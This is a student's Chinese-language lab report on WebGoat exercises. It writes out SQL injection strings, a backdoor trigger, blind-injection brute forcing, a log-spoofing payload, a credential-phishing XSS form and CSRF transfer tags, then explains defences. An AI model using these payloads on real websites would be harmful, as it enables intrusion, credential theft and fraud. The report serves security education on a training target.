20145327 《网络对抗》Web安全基础实践
20145327 《网络对抗》Web安全基础实践
实践过程
webgoat开启 java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器输入localhost:8080/WebGoat 进入webgoat
-
String SQL Injection
构造语句'or 1='1,成功得到了全部的信用卡号.第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!
-
LAB:step 1 SQL Injection
用的是'or 1='1
-
Numberic SQL Injection
按F12修改网页源文件,将需要查找的value改为:101 or 1=1
-
Database Backdoors step1
设置如下SQL语句: 101; update employee set salary=10000
发现数据表所有人员工资都等于10000已经更新,成功
以上是第一步要求,第二步要求:更加高级的是插入后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
-
Log Spoofing
所以在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin
-
Blind Numeric SQL Injection
我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,使用盲注进行爆破,输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.输入2364,成功!
-
Blind String SQL Injection
跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
爆破点1 是1-10 10个可能性
爆破点2 是a-z和A-Z 52个可能性
数字代表后门字母在用户名中的位置
-
Phishing with XSS
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 反射型XSS(Reflected XSS Attacks)
输入以下代码即可成功:
-
Stored XSS Attacks
Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:
-
Cross Site Request Forgery (CSRF)
在message里输入
-
CSRF Prompt By-Pass
这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
<img src='attack?Screen=266&menu=900&transferFunds=5000' width='1' height='1'>
<img src='attack?Screen=266&menu=900&transferFunds=CONFIRM' width='1' height='1'>
实验后回答问题
1、SQL注入原理,如何防御
SQL注入:构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
防御:不允许特殊字符输入
2、XSS攻击的原理,如何防御
原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
防御:当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符;当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
3、CSRF攻击原理,如何防御
原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
防御:通过 referer、token 或者 验证码 来检测用户提交。
尽量不要在页面的链接中暴露用户隐私信息。
对于用户修改删除等操作最好都使用post 操作 。
避免全站通用的cookie,严格设置cookie的域。
实验体会
这些攻击好好玩,不知道以后会不会有用。一学期实验完美结束。谢老师大神